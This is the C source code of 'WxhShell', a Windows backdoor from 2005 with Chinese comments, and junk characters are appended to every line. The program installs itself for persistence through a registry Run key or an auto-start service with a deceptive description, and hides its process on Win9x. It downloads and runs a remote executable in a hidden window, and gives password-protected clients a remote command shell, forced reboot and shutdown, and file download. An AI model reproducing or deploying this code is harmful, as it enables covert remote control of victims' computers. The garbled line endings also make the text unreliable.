  // 关机 EGO;g^,  
  case 'd': { ;W]NT 4p  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [7q~rcf,Z  
    if(Boot(SHUTDOWN)) qUA&XUJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x.qn$?3V]  
    else { BoYWx^VHx^  
    closesocket(wsh); zuUf:%k}I  
    ExitThread(0); W-<E p<7{  
    } "2;$?*hO#  
    break; x^^;/%p  
    } e.hHpjWi?Z  
  // 获取shell aF2 eGh  
  case 's': { Izm8 qt=m  
    CmdShell(wsh); o[q Kf  
    closesocket(wsh); 3GUO   
    ExitThread(0); ]Cnj=\'  
    break; S9d+#6rn  
  } *X+T>SKL  
  // 退出 km,}7^?F0r  
  case 'x': { Pwf2dm$,+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cG1-.,r  
    CloseIt(wsh); 2c@4<kyfP  
    break; YqX/7b+  
    } '<5Gf1 @|  
  // 离开 z #c)Q  
  case 'q': { :$."x '  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); H8.U#%  
    closesocket(wsh); jv<BGr=4;  
    WSACleanup(); T V\21  
    exit(1); |K| c  
    break; F?&n5R.  
        } rU`#3}s  
  } (|L0s)  
  } cdVh_"[  
Q4\EI=4P]  
  // 提示信息 VeeQmR?u-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ic/D!J{Y  
} 4CVtXi_Y  
  } hz{=@jX  
\L}aTCvG  
  return; J[2c[|[-  
} <gRv7 ?V[z  
<x@brXA  
// shell模块句柄 <o,]f E[  
int CmdShell(SOCKET sock) yM>:,TS  
{ @N,dA#  
STARTUPINFO si; pYIm43r H  
ZeroMemory(&si,sizeof(si)); 'bVDmm).  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4^\5]d!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  vp7J';  
PROCESS_INFORMATION ProcessInfo; bzD <6Z  
char cmdline[]="cmd"; oV"#1lp*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tQE=c 7/M  
  return 0; INqD(EG   
} k2DT+}u7G  
k"X<gA  
// 自身启动模式 3* C9;Q}  
int StartFromService(void) NF+^  
{ \g& P5  
typedef struct ={P  
{ ~x;1&\'k  
  DWORD ExitStatus; N9@@n:JT  
  DWORD PebBaseAddress; l?GN& u  
  DWORD AffinityMask; E-jL"H*  
  DWORD BasePriority; w6 0I;.hy  
  ULONG UniqueProcessId; `Mx&,;x  
  ULONG InheritedFromUniqueProcessId; CUIT)mF:  
}   PROCESS_BASIC_INFORMATION; ZdG?fWWA  
pv);LjF  
PROCNTQSIP NtQueryInformationProcess; OXc!^2 ^  
5Y77g[AX2-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2VO bj7F  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V ':?rEN|  
K. [2uhB)  
  HANDLE             hProcess; uFPJ}m[>5  
  PROCESS_BASIC_INFORMATION pbi; iV<4#aBg  
k\(LBZ"vR  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i i&kfy  
  if(NULL == hInst ) return 0; 8+'9K%'@qX  
*b#00)d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :f<:>"<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /4x3dwXW@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k~ Z9og  
W ~(4t:hp  
  if (!NtQueryInformationProcess) return 0; V`:iu n^f  
vX|i5P0)8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \/=w \Tj  
  if(!hProcess) return 0; EG=~0j~  
JBzRL"|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !F ]7q]g  
O#[+= ^  
  CloseHandle(hProcess); 7nr+X Os  
d@-s_gw  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7bcl^~lY  
if(hProcess==NULL) return 0; : &! >.Y  
%&EDh2w>  
HMODULE hMod; fd Vye|%  
char procName[255]; t<sy7e='  
unsigned long cbNeeded; x-W6W  
qU!xh )  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B?o ?LI  
MZ9{*y[z  
  CloseHandle(hProcess); !{On_>` ,  
2AN6(k4o  
if(strstr(procName,"services")) return 1; // 以服务启动 v(Vm:oK,  
f( =3'wQ  
  return 0; // 注册表启动 8&d s  
} R^t )~\d  
#L,>)XkjS  
// 主模块 wD9Gl.uQ  
int StartWxhshell(LPSTR lpCmdLine) TF0DQP  
{ 24 )Sf  
  SOCKET wsl; ,V$PV,G  
BOOL val=TRUE; !\e&7sV~Q  
  int port=0; 0LQ|J(u  
  struct sockaddr_in door; J})#43P  
3RYg-$NK[  
  if(wscfg.ws_autoins) Install(); >LqW;/&S<  
2y_R05O0  
port=atoi(lpCmdLine); gW0{s[}T  
' pnkm0=`  
if(port<=0) port=wscfg.ws_port; QY$Z,#V)  
P1 \:hh  
  WSADATA data; |ji={  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FPg5!O%  
ry99R|/d1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t,CC~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zxo0:dyw7  
  door.sin_family = AF_INET; WziX1%0$n  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]g}Tqf/N%  
  door.sin_port = htons(port); kaKV{;UM  
 G{4~{{tI  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D7'P^*4_B  
closesocket(wsl); RU r0K#]  
return 1; >pS @;t'  
} *F ya qJ)  
Y(:.f-Du  
  if(listen(wsl,2) == INVALID_SOCKET) { Muhq,>!U  
closesocket(wsl); 0O_acO 4  
return 1; -~wGJM VA  
} wF@mHv  
  Wxhshell(wsl); N sUFM  
  WSACleanup(); |G!PG6%1  
rSGt`#E-s.  
return 0; a.oZ}R7'Y  
;p$KM-?2D  
} |?a 4Nl?  
z3 zN^ZT  
// 以NT服务方式启动 Ax'jNol  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #fF~6wopV  
{ uude<d"U  
DWORD   status = 0; f,e7;u z%  
  DWORD   specificError = 0xfffffff; %Pz'D6 /  
'[XtARtY`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7<'4WHi;@s  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .:<-E%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]w)*8 w.)  
  serviceStatus.dwWin32ExitCode     = 0; a0s6G3J+9  
  serviceStatus.dwServiceSpecificExitCode = 0; }w,^]fC:  
  serviceStatus.dwCheckPoint       = 0; K >-)O=$s  
  serviceStatus.dwWaitHint       = 0; L}>XH*  
09_L^'`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'h?;i2[  
  if (hServiceStatusHandle==0) return; d"7l<y5  
2J^jSgr50d  
status = GetLastError(); $#bgt   
  if (status!=NO_ERROR) ("UzMr,  
{ g?(h{r`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; O{sb{kk  
    serviceStatus.dwCheckPoint       = 0; L(a){<c  
    serviceStatus.dwWaitHint       = 0; 3C=|  
    serviceStatus.dwWin32ExitCode     = status; <> jut  
    serviceStatus.dwServiceSpecificExitCode = specificError; =h`yc$ A(2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); q- U/JC  
    return; %:^|Q;xe  
  } q~3dbj  
b r"4 7i  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $@[`/Uh   
  serviceStatus.dwCheckPoint       = 0; NAy3Zd}  
  serviceStatus.dwWaitHint       = 0; [Rqv49n*V  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :3,aR\  
} `M "O #  
U1+X!&OCp  
// 处理NT服务事件,比如:启动、停止 s'&/8RR  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gC}r$ZB(  
{ :/Zy=F9:  
switch(fdwControl) 7 TTU&7l~  
{ 2>E.Q@c  
case SERVICE_CONTROL_STOP: b*-g@S  
  serviceStatus.dwWin32ExitCode = 0; a<Ru)Q?=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; s|Hrb_[;l  
  serviceStatus.dwCheckPoint   = 0; C *\ =Q  
  serviceStatus.dwWaitHint     = 0; ^|z  
  { MjO.s+I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1 LgzqRq  
  } jIZpv|t)  
  return; g3p*OYf  
case SERVICE_CONTROL_PAUSE: RhJ{#G~:%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; DPrFBy  
  break; RHV& m()Q  
case SERVICE_CONTROL_CONTINUE: -ejH%CT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xMk0Xf'_  
  break; "?I]h  
case SERVICE_CONTROL_INTERROGATE: 6K/j,e>L  
  break; gFJ. p  
}; .t/XW++  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >x(3p@6p  
} Et\z^y  
mL!)(Bb  
// 标准应用程序主函数 +doZnU,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ZDVz+L|p  
{ /65ddt  
Ppw0vaJ^  
// 获取操作系统版本 P4{8pO]B  
OsIsNt=GetOsVer(); :G&tM   
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;\N{z6  
Q@]QPpe  
  // 从命令行安装 }i32  
  if(strpbrk(lpCmdLine,"iI")) Install(); B~/:["zTh&  
gr\UI!]F  
  // 下载执行文件 Ap&Bwo 8b  
if(wscfg.ws_downexe) { %3L4&W _T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d ] J5c  
  WinExec(wscfg.ws_filenam,SW_HIDE); KrcL*j&^  
} alQMPQVin  
aCu 8 D!  
if(!OsIsNt) { \,YF['Qq  
// 如果时win9x,隐藏进程并且设置为注册表启动 -)biSU,  
HideProc(); MfJ;":]O!  
StartWxhshell(lpCmdLine); 9oOr-9t3  
} jB+K)NXHL  
else D4e*Wwk  
  if(StartFromService()) uJQ#l\t  
  // 以服务方式启动 9#K,@X5 j  
  StartServiceCtrlDispatcher(DispatchTable); idWYpU>gC  
else sEpY&6*  
  // 普通方式启动 #S?xRqkc  
  StartWxhshell(lpCmdLine); ]L/h,bVI1  
gq[|>Rs75  
return 0; E$B7E@(U  
} [,A*nU$  
"bI'XaSv  
aS ]bTYJ'  
aRPpDSR?l  
=========================================== a[ Pyxx_K  
#G'Y 2l  
 V6opV&  
8Z YF%  
4bV&U=  
U?vG?{A  
" 4/6?wX  
TQXp9juK  
#include <stdio.h> 1C,=1bY  
#include <string.h> <g/Z(<{wor  
#include <windows.h> T(Q(7  
#include <winsock2.h> x+?P/Ckg  
#include <winsvc.h> L>4!@L5)  
#include <urlmon.h> Lt\Wz'6Y  
,,U8X [A  
#pragma comment (lib, "Ws2_32.lib") Nqf6CPXE  
#pragma comment (lib, "urlmon.lib") ${(c `X  
 y5"b(nb  
#define MAX_USER   100 // 最大客户端连接数 2vb{PQ  
#define BUF_SOCK   200 // sock buffer /Y NV  
#define KEY_BUFF   255 // 输入 buffer ,;RAPT4  
1N8:,bpsT  
#define REBOOT     0   // 重启 9$]I3k  
#define SHUTDOWN   1   // 关机 8G GC)2  
*@2+$fgz  
#define DEF_PORT   5000 // 监听端口 {KH!PAh  
28/At  
#define REG_LEN     16   // 注册表键长度 oP[R?zN  
#define SVC_LEN     80   // NT服务名长度 Zo=w8Hr  
B,2oA]W"S  
// 从dll定义API y(^hlX6gQ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); PWavq?SR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hn$l<8=Q_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u\)2/~<]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); uyE_7)2d  
itH` s<E  
// wxhshell配置信息 "pa}']7#  
struct WSCFG { @;^7kt  
  int ws_port;         // 监听端口 #YABb wH  
  char ws_passstr[REG_LEN]; // 口令 8`I/\8;H'p  
  int ws_autoins;       // 安装标记, 1=yes 0=no g}uVuK;<  
  char ws_regname[REG_LEN]; // 注册表键名 |sG@Ku7~4  
  char ws_svcname[REG_LEN]; // 服务名 bcVzl]9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @<n8?"{5S  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 CLQE@kF;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 aPELAU-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zB/)_AW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [/P}1 c[)U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Qp]-:b  
[,@gSb|D?  
}; D%WgE&wtM  
[ X7LV  
// default Wxhshell configuration {? a@UUvC  
struct WSCFG wscfg={DEF_PORT, =1:dKo8  
    "xuhuanlingzhe", 7W7!X\0Y  
    1, 5.]eF$x2  
    "Wxhshell",  !623;   
    "Wxhshell", =|Q7k+b  
            "WxhShell Service", t;>"V.F<1  
    "Wrsky Windows CmdShell Service", @)R6!"p  
    "Please Input Your Password: ", r.JY88"  
  1, J)148/  
  "http://www.wrsky.com/wxhshell.exe", vk^/[eha  
  "Wxhshell.exe" -pF3q2zb  
    }; rM{3]v{~  
Z'u:Em  
// 消息定义模块 s#nd:$p3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =Wgz\uGJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }mhD2'E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q?1' JF!G  
char *msg_ws_ext="\n\rExit."; Eps2  
char *msg_ws_end="\n\rQuit."; @2Spfj_e  
char *msg_ws_boot="\n\rReboot..."; f^EDiG>b`  
char *msg_ws_poff="\n\rShutdown..."; \W;+@w|c  
char *msg_ws_down="\n\rSave to "; sF+mfoMtG  
T({]fc!c  
char *msg_ws_err="\n\rErr!"; i&%/]Nq  
char *msg_ws_ok="\n\rOK!"; b `TA2h  
t%B ,ATW  
char ExeFile[MAX_PATH]; H&yK{0H  
int nUser = 0; qaj~q(j~ C  
HANDLE handles[MAX_USER]; dHAI4Yf4U  
int OsIsNt; ?6m6 4{M  
 GD]yP..  
SERVICE_STATUS       serviceStatus; "b#L8kN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @@])B#  
5LIbHSK  
// 函数声明 pOe"S  
int Install(void); nw)yK%`;M  
int Uninstall(void); R cz;|h8  
int DownloadFile(char *sURL, SOCKET wsh); RV&=B%w+  
int Boot(int flag); *h H\H  
void HideProc(void); NI1jJfH|l  
int GetOsVer(void); S<-e/`p=H  
int Wxhshell(SOCKET wsl); |k3^ eeLk  
void TalkWithClient(void *cs); >~D-\,d|f  
int CmdShell(SOCKET sock); 1R e5)Y:i  
int StartFromService(void); (B0tgg^jj,  
int StartWxhshell(LPSTR lpCmdLine); )-RI  
E|Q|Nx!6[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Pd~{XM,yfW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >=WlrmI  
3Dm`8Xt  
// 数据结构和表定义 3fb"1z#  
SERVICE_TABLE_ENTRY DispatchTable[] = ~0^d-,ZD5  
{ |$)+h\h  
{wscfg.ws_svcname, NTServiceMain}, }kCaTI?@#  
{NULL, NULL} 2<  "-  
}; >@mvb@4*  
$4&%<'l3I  
// 自我安装 E&wz0d;gf  
int Install(void) Pf4b/w/  
{ $N[R99*x8  
  char svExeFile[MAX_PATH]; L PDx3MS  
  HKEY key; JxV 0y  
  strcpy(svExeFile,ExeFile); zFq8xw  
o~(/Twxam  
// 如果是win9x系统,修改注册表设为自启动 pSzO )j  
if(!OsIsNt) { .}O _5b(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1dl@2CVS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?_VoO  
  RegCloseKey(key); j&c YRKpz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )Gu:eYp+`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uxjx~+qFd  
  RegCloseKey(key); _!} L\E~  
  return 0; m! 3e>cI  
    } Hkv4^|  
  } -!C9x?gNY  
} a9"1a'  
else { {?zBc E:  
<uYeev%  
// 如果是NT以上系统,安装为系统服务 mF@)l]UZ'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'Y%@fZf x  
if (schSCManager!=0) $1F$3"k  
{ }+F&=-P)  
  SC_HANDLE schService = CreateService ZITic&>W  
  ( &6#>a"?"  
  schSCManager, ]m(C}}  
  wscfg.ws_svcname, `> :^c  
  wscfg.ws_svcdisp, bh~"LQS1  
  SERVICE_ALL_ACCESS, z87_/(nu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N Qdz]o  
  SERVICE_AUTO_START, /M3UK  
  SERVICE_ERROR_NORMAL, ~hk;OB;  
  svExeFile, L  (#DVF  
  NULL, +pefk+  
  NULL, ^s;xLGl]  
  NULL, 1>pFUf|cV  
  NULL, TB@0j ;g  
  NULL ]w+n39da  
  ); z K+C&X  
  if (schService!=0) ?: XY3!{  
  { Uh tk`2O  
  CloseServiceHandle(schService); Hx|<NS0}_  
  CloseServiceHandle(schSCManager); \{RMj"w:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ny6 daf3f  
  strcat(svExeFile,wscfg.ws_svcname); v[*&@aW0n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9eh9@~mU"l  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U^@8ebv  
  RegCloseKey(key); mx ]a@tu  
  return 0; 7F;dLd'  
    } 'cpO"d?{  
  } {$ (X,E  
  CloseServiceHandle(schSCManager); jlA?JB  
} [Up0<`Q{I_  
} ,o{|W9  
}iZ>Gm '5  
return 1; KBO{ g:"  
} c@ea ;Cv  
AvxP0@.`  
// 自我卸载 {Iu9%uR>@  
int Uninstall(void) CL%+`c0  
{ `PH*tdYrh  
  HKEY key; i=ztWKwKf  
TSp;Vr OP  
if(!OsIsNt) { .Y^UPxf@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,;)1|-^nu  
  RegDeleteValue(key,wscfg.ws_regname); @[vwqPOL  
  RegCloseKey(key); |*5QFp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f5droys9  
  RegDeleteValue(key,wscfg.ws_regname); ':[:12y[  
  RegCloseKey(key); GY[+HgT  
  return 0; ^UJ#YRzi  
  } bB#6Xx  
} ;Bs^+R7  
} -T  5$l  
else { 9tt0_*UX  
'~Z#h  P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); tK$x=9M  
if (schSCManager!=0) vA(')"DDT  
{ j+E[ [  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ] SErM#$*  
  if (schService!=0) R\+O.vX  
  { u40k9vh  
  if(DeleteService(schService)!=0) { "?yu^  
  CloseServiceHandle(schService); #3L=\j[ y  
  CloseServiceHandle(schSCManager); 2Y+8!4^L a  
  return 0; ` s}v6  
  } `c-(1 ;Jb  
  CloseServiceHandle(schService); YnCWmlC  
  } X`QfOs#\  
  CloseServiceHandle(schSCManager); 3cp"UU}.  
} )%}?p2.  
} KT5"/fv  
aJ"Tt>Y[.~  
return 1; r$7D;>*O{  
} j+p=ik  
,uFdhA(i@'  
// 从指定url下载文件 6}vPwI  
int DownloadFile(char *sURL, SOCKET wsh) ZUW~ZZ7Z:  
{ |0wUOs*5  
  HRESULT hr; 9bDxml1  
char seps[]= "/"; D-zqu~f`  
char *token; L'>t:^QTh  
char *file; 9bpY>ze  
char myURL[MAX_PATH]; m;v/(d>  
char myFILE[MAX_PATH]; &f\ng{  
#Moju  
strcpy(myURL,sURL); $g|/.XH%  
  token=strtok(myURL,seps); -6+&?f  
  while(token!=NULL) {FavF 9O  
  { ={a8=E!;  
    file=token; ?\7 " A  
  token=strtok(NULL,seps); TT(d CHft  
  } U 9?!|h;7  
8#Q=CTjF  
GetCurrentDirectory(MAX_PATH,myFILE); ?1I0VA']  
strcat(myFILE, "\\"); ^[d|^fRH Q  
strcat(myFILE, file); ]0HlPP:2  
  send(wsh,myFILE,strlen(myFILE),0); xl(];&A3  
send(wsh,"...",3,0); ypuW}H%`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *lN>RWbM%  
  if(hr==S_OK) Hm?zMyO.k  
return 0; >Ic)RPO9  
else #_tixg  
return 1; Jmln*,Ol7  
nKFua l3  
} \pzqUTk  
x)h p3&L  
// 系统电源模块 c%uX+\-$  
int Boot(int flag) K"cN`Kj<*-  
{ Os?`!1-  
  HANDLE hToken; T j7i#o  
  TOKEN_PRIVILEGES tkp; ,qgph^C  
> dJvl|  
  if(OsIsNt) { zkdyfl5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3wEVjT-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mis cmD  
    tkp.PrivilegeCount = 1; m~fA=#l l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f$x\~y<[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b7It8  
if(flag==REBOOT) { Tn+6:<OFdO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) '3f"#fF6  
  return 0; ,%+i}H,3  
} @<ba+z>"~4  
else { kzhncku  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i6)$pARp  
  return 0; IYq)p /  
} +'$=\d^  
  } nf5Ld"|%9  
  else { ,C88%k  
if(flag==REBOOT) { *5k" v"NM(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^+zF;Q'  
  return 0; -X~VXeg  
} %aU4d e^  
else { :,$:@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3 T$gT  
  return 0; W'2|hP  
} @Y'BqDFlZ  
} $UMxO`F  
}vkrWy^  
return 1; +53 Tf  
} q/Dc*Qn m  
?Gc9^b B I  
// win9x进程隐藏模块 >-YPCW  
void HideProc(void) U+t|wK  
{ q;a`*gX^  
#EiOC.A=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D!kv+<+  
  if ( hKernel != NULL ) ngoo4}  
  { W is_N3M  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7a Fvj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )cnB>Qul  
    FreeLibrary(hKernel); $d M: 5y  
  } #(C2KRRiA  
E~5r8gM,0  
return; i $H aE)qZ  
} TJ3CXyRq  
& IVwm"  
// 获取操作系统版本 RKsr}-1 8  
int GetOsVer(void) t>QAM6[  
{ 3!M;Z7qF]  
  OSVERSIONINFO winfo; LC/9)Sh_n  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); U7d%*g  
  GetVersionEx(&winfo); `JyTS~v$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K^bzZa+a  
  return 1; QLYb>8?"C  
  else A-e#&pJ  
  return 0; e0%?;w-TL  
} AK\X{>$a!  
W!pLk/|ls  
// 客户端句柄模块 a<l(zJptG  
int Wxhshell(SOCKET wsl) 7Wb:^.d g  
{ Kl<qp7o0  
  SOCKET wsh; l$D]*_ jc,  
  struct sockaddr_in client; w*[i!i  
  DWORD myID; n.]K"$230  
lj $\2 B  
  while(nUser<MAX_USER) h(!x&kZq.  
{ VyH'7_aU  
  int nSize=sizeof(client); Cdl#LVqs  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Szrr`.']  
  if(wsh==INVALID_SOCKET) return 1; $lmbeW[0  
XYIZ^_My  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;:Q 5?zM  
if(handles[nUser]==0) Z-;<R$  
  closesocket(wsh); AVyO5>w  
else \tTZ N  
  nUser++; 3eQ-P8LS  
  } j(mbUB*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O, 6U pk  
MkZm =Sf  
  return 0; 7UvfXzDNC  
} A\Rkt;:  
Iih~W&  
// 关闭 socket {aP5Mem  
void CloseIt(SOCKET wsh) z?`&HU Nf  
{ ~F?s\kp6  
closesocket(wsh); V.5gxr3QqW  
nUser--; q y73  
ExitThread(0); rLO1Sv  
} 6KPM4#61o  
6j{9\ R  
// 客户端请求句柄 K5gh7  
void TalkWithClient(void *cs) $}&Y$w>S  
{ <4S Y'-w  
|f1 S&b.  
  SOCKET wsh=(SOCKET)cs; d;O16xcM/  
  char pwd[SVC_LEN]; hI*gw3V  
  char cmd[KEY_BUFF]; (&R /ns~  
char chr[1]; |D<J9+  
int i,j; R=P=?U.  
hN*,]Z{  
  while (nUser < MAX_USER) { %Cbqi.iuQ  
XB*)d 9'8  
if(wscfg.ws_passstr) { ]s-;*o\H  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >aXyi3B  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); . (G9mZFV  
  //ZeroMemory(pwd,KEY_BUFF); x`K<z J   
      i=0; ;Ak<O[  
  while(i<SVC_LEN) { f*KNt_|:  
{]1o($.u  
  // 设置超时 ! iuDmL  
  fd_set FdRead; a;JB8  
  struct timeval TimeOut; |kJ'FZZd  
  FD_ZERO(&FdRead);  gSQq  
  FD_SET(wsh,&FdRead); N>##} i  
  TimeOut.tv_sec=8; _7es_w}R  
  TimeOut.tv_usec=0; |}s)Wo  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l"^'uGB'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); UFBggT\  
pEgQ) 9\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d_s=5+Yj  
  pwd=chr[0]; vAWJP_;J  
  if(chr[0]==0xd || chr[0]==0xa) { =Hplg>h)  
  pwd=0; Xkc y~e  
  break; 5%,5Xe4p  
  } &R+/Ie#0dz  
  i++; .vsrZ_y?  
    } ^R- -&{I  
iJ n<  
  // 如果是非法用户,关闭 socket ~+w'b7T,=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &#!5I;3EN  
} aphfzo  
FOJ-?s(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hG~4i:p <  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q@]~O-  
Wno{&I63  
while(1) { {Q9?Q?  
(jb9Uk_t  
  ZeroMemory(cmd,KEY_BUFF); |a9d]^  
IoO tn  
      // 自动支持客户端 telnet标准   >g7}JI&  
  j=0; .j"iJ/  
  while(j<KEY_BUFF) { !p$HS0c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '5xIisP  
  cmd[j]=chr[0]; UrtA]pc3L  
  if(chr[0]==0xa || chr[0]==0xd) { {wsO8LX  
  cmd[j]=0; sa8JN.B  
  break; o/0cd  
  } `pr$l  
  j++; qTc-Z5  
    } Ws;S=|9,7~  
@yc/1u $r  
  // 下载文件 +/xmxh$ $  
  if(strstr(cmd,"http://")) { |2RoDW  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^`M,ju  
  if(DownloadFile(cmd,wsh)) xvo""R/g8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); bO8>w9MF  
  else & Xh8j^p'  
